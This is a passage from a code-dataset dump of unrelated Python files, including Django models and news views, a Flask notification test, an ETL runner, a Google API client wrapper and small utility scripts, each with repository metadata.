id_profesor = models.ForeignKey(Profesor,on_delete=models.CASCADE)\n\n def __str__(self):\n\n return self.nombre_tarea\n\n\nclass Deber(models.Model):\n calificacion = models.FloatField(null=True)\n id_estudiante = models.ForeignKey(Estudiante,on_delete=models.CASCADE)\n estado = models.BooleanField()\n id_tarea = models.ForeignKey(Tarea,on_delete=models.CASCADE)\n\n\n@receiver(post_save, sender=settings.AUTH_USER_MODEL)\ndef create_auth_token(sender, instance=None, created=False, **kwargs):\n if created:\n Token.objects.create(user=instance)\n\n@receiver(post_save, sender=Promociones)\ndef update_stock(sender, instance, **kwargs):\n\n devices = FCMDevice.objects.all()\n\n devices.send_message(title=\"Nueva Promocion\", body=\"Se agrego una nueva Promo, No te la pierdas\")\n\n\n@receiver(post_save, sender=Sesion)\ndef generar_asistencia(sender, instance, **kwargs):\n\n print(instance.id_clase)\n clase = instance.id_clase\n for s in clase.id_estudiante.all():\n print(s)\n Asistencia.objects.create(id_estudiante=s,id_sesion=instance,asistencia=False)\n\n\n@receiver(post_save, sender=Tarea)\ndef generar_calificaciones(sender, instance,created, **kwargs):\n\n\n if created:\n\n sesion = instance.id_sesion\n clase = sesion.id_clase\n print(clase)\n for s in clase.id_estudiante.all():\n print(s)\n Deber.objects.create(id_estudiante=s,estado =False,id_tarea=instance)\n else:\n print(\"SOLO ES UPDATE\")\n\n\n\nclass TCP(models.Model):\n tipo = models.CharField(max_length=50,blank=True, null=True)\n origen = models.CharField(max_length=50,blank=True, null=True)\n destino = models.CharField(max_length=50,blank=True, null=True)\n cantidad = models.CharField(max_length=50,blank=True, null=True)\n \n \n\n\n\n","sub_path":"ApiCursos/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":8890,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"566444896","text":"\nimport time\nfrom flask import url_for\nfrom . util import set_original_response, set_modified_response, live_server_setup\n\n# Hard to just add more live server URLs when one test is already running (I think)\n# So we add our test here (was in a different file)\ndef test_check_notification(client, live_server):\n\n live_server_setup(live_server)\n set_original_response()\n\n # Give the endpoint time to spin up\n time.sleep(3)\n\n # Add our URL to the import page\n test_url = url_for('test_endpoint', _external=True)\n res = client.post(\n url_for(\"import_page\"),\n data={\"urls\": test_url},\n follow_redirects=True\n )\n assert b\"1 Imported\" in res.data\n\n # Give the thread time to pick it up\n time.sleep(3)\n\n # Goto the edit page, add our ignore text\n # Add our URL to the import page\n url = url_for('test_notification_endpoint', _external=True)\n notification_url = url.replace('http', 'json')\n\n print (\">>>> Notification URL: \"+notification_url)\n res = client.post(\n url_for(\"edit_page\", uuid=\"first\"),\n data={\"notification_urls\": notification_url, \"url\": test_url, \"tag\": \"\", \"headers\": \"\"},\n follow_redirects=True\n )\n assert b\"Updated watch.\" in res.data\n\n # Hit the edit page, be sure that we saved it\n res = client.get(\n url_for(\"edit_page\", uuid=\"first\"))\n assert bytes(notification_url.encode('utf-8')) in res.data\n\n set_modified_response()\n\n # Trigger a check\n client.get(url_for(\"api_watch_checknow\"), follow_redirects=True)\n\n # Give the thread time to pick it up\n time.sleep(3)\n\n # Did the front end see it?\n res = client.get(\n url_for(\"index\"))\n\n assert bytes(\"just now\".encode('utf-8')) in res.data\n\n\n # Check it triggered\n res = client.get(\n url_for(\"test_notification_counter\"),\n )\n\n assert bytes(\"we hit it\".encode('utf-8')) in res.data\n\n # Did we see the URL that had a change, in the notification?\n assert bytes(\"test-endpoint\".encode('utf-8')) in res.data\n\n # Re #65 - did we see our foobar.com BASE_URL ?\n assert bytes(\"https://foobar.com\".encode('utf-8')) in res.data\n","sub_path":"backend/tests/test_notification.py","file_name":"test_notification.py","file_ext":"py","file_size_in_byte":2151,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"472636364","text":"import zipfile\nimport os\n\ndef compressProject(source_path, target_path = None):\n if target_path == None:\n target_path = source_path.strip('/') + '.zip'\n zf = zipfile.ZipFile(target_path, mode='w')\n\n for each_file in get_file_list(source_path):\n filename = os.path.relpath(each_file, source_path)\n zf.write(each_file, arcname=filename)\n zf.close()\n\ndef get_file_list(dir):\n for each_file in os.listdir(dir):\n if os.path.isdir(each_file):\n yield get_file_list(os.path.join(dir, each_file))\n else: #if not each_file.lower() == 'bin' and not each_file.lower() == 'obj':\n yield os.path.join(dir, each_file)\n\ncompressProject('D:/SourceCode/Samples/iOS/iOSHatchStyleTest/iOSHatchStyleTest/')","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":756,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"336176810","text":"import importlib\n\nfrom data_pipeline.etl.score.etl_score import ScoreETL\nfrom data_pipeline.etl.score.etl_score_geo import GeoScoreETL\nfrom data_pipeline.etl.score.etl_score_post import PostScoreETL\n\nfrom . import constants\n\n\ndef get_datasets_to_run(dataset_to_run: str):\n \"\"\"Returns a list of appropriate datasets to run given input args\n\n Args:\n dataset_to_run (str): Run a specific ETL process. If missing, runs all processes (optional)\n\n Returns:\n None\n \"\"\"\n dataset_list = constants.DATASET_LIST\n etls_to_search = dataset_list + [constants.CENSUS_INFO]\n\n if dataset_to_run:\n dataset_element = next(\n (item for item in etls_to_search if item[\"name\"] == dataset_to_run),\n None,\n )\n if not dataset_element:\n raise ValueError(\"Invalid dataset name\")\n else:\n # reset the list to just the dataset\n dataset_list = [dataset_element]\n return dataset_list\n\n\ndef etl_runner(dataset_to_run: str = None) -> None:\n \"\"\"Runs all etl processes or a specific one\n\n Args:\n dataset_to_run (str): Run a specific ETL process. If missing, runs all processes (optional)\n\n Returns:\n None\n \"\"\"\n dataset_list = get_datasets_to_run(dataset_to_run)\n\n # Run the ETLs for the dataset_list\n for dataset in dataset_list:\n etl_module = importlib.import_module(\n f\"data_pipeline.etl.sources.{dataset['module_dir']}.etl\"\n )\n etl_class = getattr(etl_module, dataset[\"class_name\"])\n etl_instance = etl_class()\n\n # run extract\n etl_instance.extract()\n\n # run transform\n etl_instance.transform()\n\n # run load\n etl_instance.load()\n\n # cleanup\n etl_instance.cleanup()\n\n # update the front end JSON/CSV of list of data sources\n pass\n\n\ndef score_generate() -> None:\n \"\"\"Generates the score and saves it on the local data directory\n\n Args:\n None\n\n Returns:\n None\n \"\"\"\n\n # Score Gen\n score_gen = ScoreETL()\n score_gen.extract()\n score_gen.transform()\n score_gen.load()\n\n # Post Score Processing\n score_post = PostScoreETL()\n score_post.extract()\n score_post.transform()\n score_post.load()\n score_post.cleanup()\n\n\ndef score_geo() -> None:\n \"\"\"Generates the geojson files with score data baked in\n\n Args:\n None\n\n Returns:\n None\n \"\"\"\n\n # Score Geo\n score_geo = GeoScoreETL()\n score_geo.extract()\n score_geo.transform()\n score_geo.load()\n\n\ndef _find_dataset_index(dataset_list, key, value):\n for i, element in enumerate(dataset_list):\n if element[key] == value:\n return i\n return -1\n","sub_path":"data/data-pipeline/data_pipeline/etl/runner.py","file_name":"runner.py","file_ext":"py","file_size_in_byte":2719,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"275189770","text":"from django.conf import settings\nfrom django.http import HttpResponseNotFound, Http404, HttpResponseForbidden\n#from django.core.mail import mail_admins\nfrom views import BaseView\nfrom custom.menu import MenuItem as Item, Menu\nfrom django.utils.translation import ugettext as _\nfrom .models import News, NewsScrapy\nfrom django.template.loader import render_to_string\nimport math\nimport datetime\nfrom django.core.cache import cache\nfrom django.db.models import Count\nfrom django.conf import settings\nfrom custom.basic import *\nfrom custom.mc import *\nfrom custom.errors import E, Error, noError\nfrom custom.functions import now\nfrom article.models import page\n\nnews_on_page = 7\npages_to_show = 5\nanonMins = 3\nanonTimeInterval = datetime.timedelta(minutes=anonMins)\n\n\ndef updateNewsIfNeeded(news):\n \"\"\"Iterate through news items and update html code and header code when\n needed\n \"\"\"\n for o in news:\n age = datetime.timedelta(minutes=2)\n if o.html_update_time:\n age = update_html_before - o.html_update_time\n if not o.html_update_time or age > datetime.timedelta(minutes=1):\n #o.header = make_header(o.content)\n o.content_html = make_html(o.content)\n o.html_update_time = update_html_before\n o.save()\n\n\nclass NewsBase(BaseView):\n def get_context_data(self, **kwargs):\n ctx = super(NewsBase, self).get_context_data(**kwargs)\n ctx['menu'].select(\"news\")\n ctx['search_help_text'] = _('Search news:')\n\n scrapy = NewsScrapy.objects.filter(title__isnull=False)\n ctx['scrapy'] = scrapy\n unlisted_news = News.objects.filter(published=False, is_spam=False)\n user = ctx['user']\n if user.is_superuser:\n drafts = page.objects.filter(is_draft=True, page_namespace=page.NS_NEWS)\n\n ctx['leftMenu'] = Menu(\n Item(_(\"Add\")+\"...\", 'news:add', \"add\") if user.is_superuser else None,\n Item(_(\"All\"), 'news:list', \"list\"),\n Item(_(\"My drafts\")+\" ({})\".format(len(drafts)), 'news:drafts', \"drafts\")\n if user.is_superuser else None,\n Item('-'),\n Item(_(\"Read\"), ('news:one', {'id': str(ctx['id'])}), \"read\")\n if 'id' in ctx else None,\n Item(_(\"Edit\")+\"...\", ('news:edit', {'id': str(ctx['id'])}), \"edit\")\n if ctx['user'].has_perm('news.edit') and 'id' in ctx else None,\n\n Item(_(\"Scrapy\") + \" (%s)\" % scrapy.count(),\n 'news:check:index', \"check\") if scrapy.count() > 0 and\n ctx['user'].has_perm('news.check') else None,\n )\n return ctx\n\n\nclass IndexView(NewsBase):\n template_name = \"news/index.html\"\n\n def get_context_data(self, **kwargs):\n ctx = super(self.__class__, self).get_context_data(**kwargs)\n ctx['menu'].select(\"news\")\n ctx['leftMenu'].select(\"list\")\n return ctx\n\n def get(self, request, **kwargs):\n ctx = self.get_context_data(**kwargs)\n user = ctx['user']\n\n page_num = 1\n if 'page' in ctx and ctx['page']:\n page_num = int(ctx['page'])\n\n objs = page.objects\n key = key_firstNewsPublic+str(page_num)\n if user.is_superuser:\n key = key_firstNews+str(page_num)\n\n news = cache.get(key)\n count = cache.get(key_allNewsCount)\n cached = (news is not None) and (count is not None)\n\n if not cached or settings.DEBUG:\n allnews = objs.filter(is_draft=False, page_namespace=page.NS_NEWS)\n allnews = allnews.annotate(\n null_position=Count('added_on')).order_by('-null_position', '-added_on')\n count = allnews.count()\n cache.set(key_allNewsCount, count)\n news = allnews[news_on_page*(page_num-1):news_on_page*page_num]\n #updateNewsIfNeeded(news)\n #cache.set(key, news)\n\n ctx['page'] = page_num\n ctx['lastPage'] = math.ceil(float(count) / news_on_page)\n ctx['pages'] = range(max(page_num-4, 1), min(ctx['lastPage']+1, page_num+pages_to_show))\n ctx['news_list'] = news\n return self.render_to_response(ctx)\n\n\nclass OneView(NewsBase):\n template_name = \"article/article.html\"\n\n def get_context_data(self, **kwargs):\n ctx = super(OneView, self).get_context_data(**kwargs)\n ctx['leftMenu'].select(\"read\")\n return ctx\n\n def get(self, request, **kwargs):\n ctx = self.get_context_data(**kwargs)\n user = request.user\n\n entry = page.objects.filter(page_id=ctx['id'], page_namespace=page.NS_NEWS)\n if not user.is_superuser:\n entry = entry.filter(is_draft=False)\n if entry.exists():\n obj = entry[0]\n ctx['showComments'] = (request.get_host() == settings.DOMAIN) and not obj.is_draft\n else:\n # throw 404\n ctx['showComments'] = False\n response = render_to_string('article/article.html', ctx)\n return HttpResponseNotFound(response)\n\n ctx['page'] = obj\n ctx['links'] = []\n #if obj.sources:\n # ctx['links'] = obj.sources.split('\\n')\n return self.render_to_response(ctx)\n\n\nclass AddEditView(NewsBase):\n template_name = \"news/edit.html\"\n\n def get_context_data(self, **kwargs):\n ctx = super(AddEditView, self).get_context_data(**kwargs)\n return ctx\n\n def get(self, request, **kwargs):\n ctx = self.get_context_data()\n return self.render_to_response(ctx)\n\n\nclass AddView(AddEditView):\n template_name = \"news/add.html\"\n\n def get_context_data(self, **kwargs):\n ctx = super(AddView, self).get_context_data(**kwargs)\n ctx['leftMenu'].select(\"add\")\n ctx['editing'] = True\n return ctx\n\n def get(self, request, **kwargs):\n ctx = self.get_context_data()\n user = ctx['user']\n if not user.has_perm('news.add'):\n return HttpResponseForbidden(\"\")\n\n return self.render_to_response(ctx)\n\n def post(self, request, **kwargs):\n \"\"\"Add news, command\"\"\"\n ctx = self.get_context_data(**kwargs)\n user = ctx['user']\n title = request.POST.get('title', '').strip()\n content = request.POST.get('content', '').strip()\n sources = request.POST.get('sources', '').strip()\n #date = request.POST.get('date', '').strip()\n #published = request.POST.get('published', False) == \"published\"\n\n if not title:\n return Error('Title is empty. Write something.', E.EMPTY_TITLE)\n if not sources:\n return Error('Give at least one source link', E.EMPTY_SOURCES)\n\n # check spam titles\n # 3 symbols in alphabet - spam\n alphabet = set(title)\n words = title.split()\n if len(alphabet) < 4 or len(words) < 2:\n return Error('Do not spam please', E.SPAM)\n\n if not user.is_authenticated():\n lastIPdate = cache.get(key_newsLastIPdate)\n if not lastIPdate:\n try:\n lastIP = News.objects.filter(from_ip=0).latest('date_added') # ipint\n if lastIP:\n lastIPdate = lastIP.date_added\n cache.set(key_newsLastIPdate, lastIPdate)\n else:\n lastIPdate = now + datetime.timedelta(days=20)\n except News.DoesNotExist:\n lastIPdate = now() - datetime.timedelta(days=20)\n age = now() - lastIPdate\n timeLimit = anonTimeInterval # antispam time interval\n timeLeft = timeLimit - age\n if age < timeLimit:\n hours, remainder = divmod(timeLeft.seconds, 3600)\n minLeft, secLeft = divmod(remainder, 60)\n return Error(\"When posting as an anonymous user...\"\n \"To prevent spam - wait for {}mins... {:02d}:{:02d} left\"\n .format(anonMins, minLeft, secLeft), 2)\n\n try:\n news, created = News.objects.get_or_create(title=title, content=content,\n sources=sources)\n if not created:\n return Error(\"The same news has already been added\")\n #if add:\n # clearPageCache(1)\n except Exception as e:\n # mail if not debug server\n #mail_admins('Cant add news', traceback.format_exc())\n return Error('An error occured... '+str(e))\n\n news.published = False\n news.date_added = now()\n news.from_ip = 0 # ip2int(ip)\n news.save()\n return noError()\n\n\nclass EditView(AddEditView):\n template_name = \"article/edit.html\"\n\n def get_context_data(self, **kwargs):\n ctx = super(EditView, self).get_context_data(**kwargs)\n ctx['editing'] = True\n ctx['showComments'] = False\n ctx['leftMenu'].select(\"edit\")\n user = ctx[\"user\"]\n\n entry = page.objects.filter(page_id=ctx['id'], page_namespace=page.NS_NEWS)\n if not user.is_superuser:\n entry = entry.filter(is_draft=False)\n\n ctx['links'] = []\n if entry.exists():\n news = entry[0]\n ctx['page'] = news\n #if news.sources:\n # ctx['links'] = news.sources.split('\\n')\n return ctx\n\n def get(self, request, **kwargs):\n ctx = self.get_context_data(**kwargs)\n user = ctx[\"user\"]\n if not user.has_perm('news.edit'):\n return HttpResponseForbidden(\"\")\n return self.render_to_response(ctx)\n\n def post(self, request, **kwargs):\n \"\"\"Edit news, do command\"\"\"\n ctx = self.get_context_data(**kwargs)\n user = ctx[\"user\"]\n #if content==\"\":\n # return Error(\"When editing news - write some content!\")\n if not user.has_perm('news.edit'):\n return Error('not allowed', E.FORBIDDEN)\n\n title = request.POST.get('title', '').strip()\n content = request.POST.get('content', '').strip()\n sources = request.POST.get('sources', '').strip()\n news = ctx['news']\n news.content = content\n news.title = title\n news.sources = sources\n news.save()\n return noError()\n\n\nclass Remove(BaseView):\n def get_context_data(self, **kwargs):\n context = super(Remove, self).get_context_data(**kwargs)\n try:\n context['news'] = News.objects.filter(id=context['id'])[0]\n except:\n pass\n return context\n\n def post(self, request, **kwargs):\n '''Edit news, do command'''\n ctx = self.get_context_data(**kwargs)\n user = ctx[\"user\"]\n if not user.has_perm('news.remove'):\n return Error('not allowed', E.FORBIDDEN)\n ctx['news'].delete()\n return noError()\n\n\nclass Publish(BaseView):\n def get_context_data(self, **kwargs):\n context = super(Publish, self).get_context_data(**kwargs)\n try:\n context['news'] = News.objects.filter(id=context['id'])[0]\n except:\n pass\n return context\n\n def post(self, request, **kwargs):\n \"\"\"Edit news, do command\"\"\"\n ctx = self.get_context_data(**kwargs)\n user = ctx[\"user\"]\n if not user.has_perm('news.remove'):\n return Error('not allowed', E.FORBIDDEN)\n news = ctx['news']\n news.published = True\n news.save()\n return noError()\n\n# # Check spamming from IP (N_news / N_minutes)\n# if add:\n# if not user.is_authenticated():\n# lastIPdate = cache.get(key_newsLastIPdate)\n# if not lastIPdate:\n# try:\n# lastIP = News.objects.filter(from_ip=ipint).latest('date_added')\n# if lastIP:\n# lastIPdate = lastIP.date_added\n# cache.set(key_newsLastIPdate, lastIPdate)\n# else:\n# lastIPdate = now + datetime.timedelta(days=20)\n# except News.DoesNotExist:\n# lastIPdate = now - datetime.timedelta(days=20)\n#\n# age = now - lastIPdate\n# timeLimit = anonTimeInterval # antispam time interval\n# timeLeft = timeLimit - age\n# if age < timeLimit:\n# hours, remainder = divmod(timeLeft.seconds, 3600)\n# minLeft, secLeft = divmod(remainder, 60)\n# return Error('''When posting as an anonymous user...\n#To prevent spam - wait for {}mins... {:02d}:{:02d} left'''.format(anonMins, minLeft, secLeft))\n#\n# # Get news object (if adding one)\n# if not news1:\n# try:\n# news1, created = News.objects.get_or_create(title=title, content=content,\n# sources=sources)\n# if not created:\n# return Error(\"The same news has already been added\")\n# if add:\n# clearPageCache(1)\n# except Exception as e:\n# mail_admins('Cant add news', traceback.format_exc())\n# return Error('An error occured... '+str(e))\n#\n# #\n# # Getting params, NEWS\n# #\n# if add or edit:\n# if add:\n# news1.published = False\n# news1.from_ip = ip2int(ip)\n#\n# # setting news values either when \"adding\" or \"editing\":\n# news1.title = title\n# news1.content = content\n# news1.sources = sources\n# news1.published = published\n# news1.html_update_time = now\n# if not news1.date_added:\n# news1.date_added = now\n# if date: # if changing date\n# # parse date string\n# try:\n# t = datetime.datetime.strptime(date, \"%d.%m.%Y %H:%M\")\n# #newdate = t.replace(hour=11, minute=59)\n# news1.date_added = news1.date_added.replace(year=t.year, month=t.month,\n# day=t.day, hour=t.hour,\n# minute=t.minute)\n# #news1.date_added.replace(year=t.year)\n# except Exception as e:\n# return Error('Can\\'t parse a datetime... '+str(e))\n#\n# # make header from content\n# h, c = format_wiki(content, news=news1)\n# news1.content_html = h\n# news1.content = c\n#\n# # Get only text for the header\n# news1.header = strip_tags(h)[:265]\n\n\nclass RedownloadView(AddEditView):\n def get_context_data(self, **kwargs):\n ctx = super(self.__class__, self).get_context_data(**kwargs)\n return ctx\n\n def post(self, request, **kwargs):\n \"\"\"Try to redownload news and update source\"\"\"\n ctx = self.get_context_data(**kwargs)\n user = ctx[\"user\"]\n if not user.has_perm('news.edit'):\n return Error('not allowed', E.FORBIDDEN)\n\n p = page.get(int(ctx[\"id\"]))\n scrapy = p.source_news\n scrapy.update(p)\n if not p.content:\n return Error(scrapy.get_html())\n return noError()\n news = News.objects.get(id=int(ctx[\"id\"]))\n news.get_scrapy().rebuild_source(news)\n return noError()\n\n\nclass WriteView(AddEditView):\n def get_context_data(self, **kwargs):\n ctx = super(self.__class__, self).get_context_data(**kwargs)\n return ctx\n\n def post(self, request, **kwargs):\n ctx = self.get_context_data(**kwargs)\n user = ctx[\"user\"]\n if not user.has_perm('news.edit'):\n return Error('not allowed', E.FORBIDDEN)\n\n #news = News.objects.get(id=int(ctx[\"id\"]))\n news = page.objects.get(page_id=int(ctx[\"id\"]), page_namespace=page.NS_NEWS)\n content = request.POST.get('content', '').strip()\n news.content = content\n news.save()\n return noError()\n\n\nclass DraftsView(NewsBase):\n template_name = \"news/drafts.html\"\n\n def get_context_data(self, **kwargs):\n ctx = super(self.__class__, self).get_context_data(**kwargs)\n ctx['leftMenu'].select(\"drafts\")\n ctx['drafts'] = page.objects.filter(is_draft=True, page_namespace=page.NS_NEWS)\n return ctx\n\n def get(self, request, **kwargs):\n ctx = self.get_context_data(**kwargs)\n return self.render_to_response(ctx)\n","sub_path":"src/news/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":16853,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"264439762","text":"# -*- mode: python ; coding: utf-8 -*-\n\nblock_cipher = None\n\n\na = Analysis(['New_GUI.py'],\n pathex=['D:\\\\Asus\\\\Documents\\\\OneDrive - Université de Rennes 1\\\\Documents\\\\@Marin\\\\FAC\\\\Rennes 1\\\\Master 2\\\\S9\\\\Projet\\\\PROJET-M2\\\\Tests\\\\Test GUI\\\\Marin'],\n binaries=[],\n datas=[],\n hiddenimports=[],\n hookspath=[],\n runtime_hooks=[],\n excludes=[],\n win_no_prefer_redirects=False,\n win_private_assemblies=False,\n cipher=block_cipher,\n noarchive=False)\npyz = PYZ(a.pure, a.zipped_data,\n cipher=block_cipher)\nexe = EXE(pyz,\n a.scripts,\n [],\n exclude_binaries=True,\n name='New_GUI',\n debug=False,\n bootloader_ignore_signals=False,\n strip=False,\n upx=True,\n console=True )\ncoll = COLLECT(exe,\n a.binaries,\n a.zipfiles,\n a.datas,\n strip=False,\n upx=True,\n upx_exclude=[],\n name='New_GUI')\n","sub_path":"Développement/Tests/Test GUI/Marin/New_GUI.spec","file_name":"New_GUI.spec","file_ext":"spec","file_size_in_byte":1101,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"568369784","text":"from tkinter import Button, LEFT, RIGHT, StringVar, Label, Frame\nimport random\n\n\nclass GuiApp(Frame):\n def __init__(self, master=None):\n super().__init__(master)\n self.pack()\n self.master.title(\"omikuji\")\n Button(self, text=\"Pull one out\", font=(\"Helvetica\", 24), fg=\"blue\", command=self.pull).pack(side=LEFT)\n self.printer = StringVar()\n Label(self, textvariable=self.printer, font=(\"Helvetica\", 36), fg=\"blue\", width=10).pack(side=RIGHT)\n\n def pull(self):\n choices = [\"大吉\", \"吉\", \"中吉\", \"凶\"]\n rand = random.randrange(4)\n self.printer.set(choices[rand])\n\n\nGuiApp().mainloop()","sub_path":"08/3.py","file_name":"3.py","file_ext":"py","file_size_in_byte":655,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"595373829","text":"#!/usr/bin/env python\n\nfrom googleapiclient.discovery import build\nfrom oauth2client.service_account import ServiceAccountCredentials\nimport pprint\nimport json\nfrom googleapiclient.errors import HttpError\nfrom googleapiclient.errors import UnknownApiNameOrVersion\nimport sys\nimport time\n\nimport googleapiclient\n\nfrom googleapiclient.errors import HttpError\nimport requests\nimport httplib2\n\nfrom httplib2 import ServerNotFoundError\n\ntry:\n from urllib import urlencode, unquote\n from urlparse import urlparse, parse_qsl, ParseResult\nexcept ImportError:\n from urllib.parse import (\n urlencode, unquote, urlparse, parse_qsl, ParseResult\n )\n\n\n\nclass GoogleClient:\n\n def __init__(self, key_file_location,scopes):\n self.key_file_location = key_file_location\n self.scopes = scopes\n with open(key_file_location) as json_file: \n data = json.load(json_file)\n self.project_id = data['project_id']\n\n self.compute = self.get_service(\n api_name='compute',\n api_version='v1',\n scopes=['https://www.googleapis.com/auth/compute'] )\n\n\n\n def to_err_message(self,err):\n \n return err.message if hasattr(err, 'message') else str(err)\n\n def to_err_code(self,err):\n \n return err.code if hasattr(err, 'code') else 0\n\n def wait_for_operation(self, operation,opreationType,RegionOrZone ):\n global compute\n params={'project':self.project_id, 'operation':operation}\n\n opreationType=opreationType\n if opreationType=='zone':\n params['zone']= RegionOrZone\n opreationType='zoneOperations'\n else:\n params['region']= RegionOrZone\n opreationType='regionOperations'\n\n \n \n\n \n \n #print('Polling...')\n while True:\n response= self.exec_func(self.compute,opreationType,'get',params)\n \n if not response['status']:\n return response['message']\n elif response['result']['status'] == 'DONE':\n if 'error' in response['result']:\n return response['error']\n else:\n print(\"Progress: \" + str(response['result']['progress']) +\"%\")\n res= self.authinticated_http_call(response['result']['targetLink'])\n if not res['status']:\n return res['message']\n else:\n return res['result']\n else:\n print(\"Progress: \" + str(response['result']['progress']) +\"%\") \n \n time.sleep(1)\n\n def wait_for_zone_operation( zone, operation):\n return self.wait_for_operation( operation,opreationType='zone',RegionOrZone=zone) \n\n def exec_func(self, service ,item,fn,params):\n try:\n if not('project' in params):\n params['project']=self.project_id\n\n if not(fn==\"get\" and (item=='zoneOperations' or item=='regionOperations')): \n print(\"Executing: \" +fn)\n\n if not type(service) == googleapiclient.discovery.Resource:\n print(type(service))\n raise Exception('Invalid service Object: '+service ) # Don't! If you catch, likely to hide bugs.\n\n res=getattr(service, item)(); \n res=getattr(res, fn)(**params);\n serviceResult=res.execute()\n\n if fn==\"get\" and (item=='zoneOperations' or item=='regionOperations'):\n return {'status':1,'result':serviceResult} \n\n \n \n if 'kind' in serviceResult and '#operation' in serviceResult['kind']:\n\n if '/regions/' in serviceResult['selfLink']:\n splt= serviceResult['region'].split(\"/\")\n opreationType=\"region\"\n else:\n #print(serviceResult['zone'])\n splt= serviceResult['zone'].split(\"/\")\n opreationType=\"zone\"\n\n #print(splt) \n\n\n\n \n result= self.wait_for_operation( operation=serviceResult['name'],opreationType=opreationType,RegionOrZone=splt[-1])\n if not result:\n raise Exception(result )\n else:\n serviceResult= result\n \n \n\n\n\n \n return {'status':1,'result':serviceResult} \n \n\n \n \n \n \n except HttpError as err:\n return {'status':0,'message':self.to_err_message(err),'code':self.to_err_code(err),'error':err}\n except UnknownApiNameOrVersion as err:\n return {'status':0,'message':self.to_err_message(err),'code':self.to_err_code(err),'error':err}\n except Exception as err:\n return {'status':0,'message':self.to_err_message(err),'code':self.to_err_code(err),'error':err}\n\n \n \n\n def authinticated_http_call(self,url,scopes=[]):\n try:\n credentials = self.make_credentials(scopes )\n http = httplib2.Http()\n http = credentials.authorize(http)\n\n url=self.add_url_params(url,{'alt':'json'})\n \n resp, content=http.request(url, \"GET\")\n\n result = json.loads( content.decode('utf-8'))\n if 'error' in result:\n raise Exception(result['error']['errors'][0]['message'])\n\n return {'status':1,'result':result}\n \n except ServerNotFoundError as err:\n return {'status':0,'message':self.to_err_message(err),'code':self.to_err_code(err),'error':err}\n except Exception as err:\n return {'status':0,'message':self.to_err_message(err),'code':self.to_err_code(err),'error':err} \n\n def make_credentials(self,scopes=[] ):\n credentials = ServiceAccountCredentials.from_json_keyfile_name(self.key_file_location, scopes=self.scopes if len(scopes)==0 else scopes )\n return credentials\n\n\n def get_service(self,api_name, api_version, scopes=[]):\n \n\n credentials = self.make_credentials(scopes)\n \n\n try:\n service = build(api_name, api_version, credentials=credentials)\n\n except UnknownApiNameOrVersion as err:\n return self.to_err_message(err)\n except Exception as err:\n return self.to_err_message(err)\n\n\n return service\n\n \n def add_url_params(self,url, params):\n \n url = unquote(url)\n parsed_url = urlparse(url)\n get_args = parsed_url.query\n parsed_get_args = dict(parse_qsl(get_args))\n parsed_get_args.update(params)\n\n \n parsed_get_args.update(\n {k: dumps(v) for k, v in parsed_get_args.items()\n if isinstance(v, (bool, dict))}\n )\n\n encoded_get_args = urlencode(parsed_get_args, doseq=True)\n new_url = ParseResult(\n parsed_url.scheme, parsed_url.netloc, parsed_url.path,\n parsed_url.params, encoded_get_args, parsed_url.fragment\n ).geturl()\n\n return new_url \n\n\n","sub_path":"build/lib/simplegoogleapi/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":7201,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"582054221","text":"class PersonalPronounExercise:\n def __init__(self, progress):\n self.questions = [\"___ is dreaming. (Geoff)\",\n \"___ is blue. (The sky)\",\n \"___ are on the ceiling. (The lights)\",\n \"___ is walking. (The monkey)\",\n \"___ are playing games. (My friend and me)\",\n \"___ are in the closet. (The jackets)\",\n \"___ is driving his car. (Tim)\",\n \"___ is from Germany. (Helga)\",\n \"___ has a sister. (Dianne)\",\n \"Have ___ got a car, Tim?\"]\n self.answers = [\"he\", \"it\", \"they\", \"it\", \"we\", \"they\", \"he\", \"she\", \"she\", \"you\"]\n self.progress = progress\n self.score = 0\n\n def askQuestion(self, input_function):\n answer = input_function(self.progress)\n if self.progress >= len(self.questions) - 1:\n if self.score >= len(self.questions) / 2:\n return {'string': \"Congratulations\", 'exitcode': 2}\n return {'string': \"Sorry, you scored too low. Try again\", 'exitcode': 1}\n if str(answer).lower() == self.answers[self.progress]:\n self.progress += 1\n self.score += 1\n return {'string': \"Next question, pass\", 'exitcode': 0}\n self.progress += 1\n return {'string': \"Next question, fail\", 'exitcode': -1}","sub_path":"src/main/app/Exercise/PersonalPronounExercise.py","file_name":"PersonalPronounExercise.py","file_ext":"py","file_size_in_byte":1324,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"436958797","text":"__author__ = 'donal'\n__project__ = 'ribcage'\n\nfrom flask import current_app\nfrom . import log_recs\nfrom ..log_auth.views import admin_required, set_template\n\n@log_recs.route('/logs')\n@admin_required\ndef logs():\n txt = open('logs/Devel_logs.log').readlines()\n return set_template('panelbuilder.html', txt, '',\n panel_args=dict(\n patex=current_app.config['PAHDS']['logs'],\n tadata=current_app.config['TADATA']['logs'],\n wid=12\n ))\n","sub_path":"app/log_records/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":574,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"296170615","text":"from rest_framework import permissions, viewsets\nfrom rest_framework.generics import get_object_or_404\n\nfrom categories.models import Title\n\nfrom .models import Review\nfrom .permissions import IsAuthorModerAdmin\nfrom .serializers import CommentSerializer, ReviewSerializers\n\n\nclass CommentViewSet(viewsets.ModelViewSet):\n serializer_class = CommentSerializer\n permission_classes = [permissions.IsAuthenticatedOrReadOnly,\n IsAuthorModerAdmin]\n\n def perform_create(self, serializer):\n review_id = self.kwargs['review_id']\n review = get_object_or_404(Review, pk=review_id)\n serializer.save(author=self.request.user, 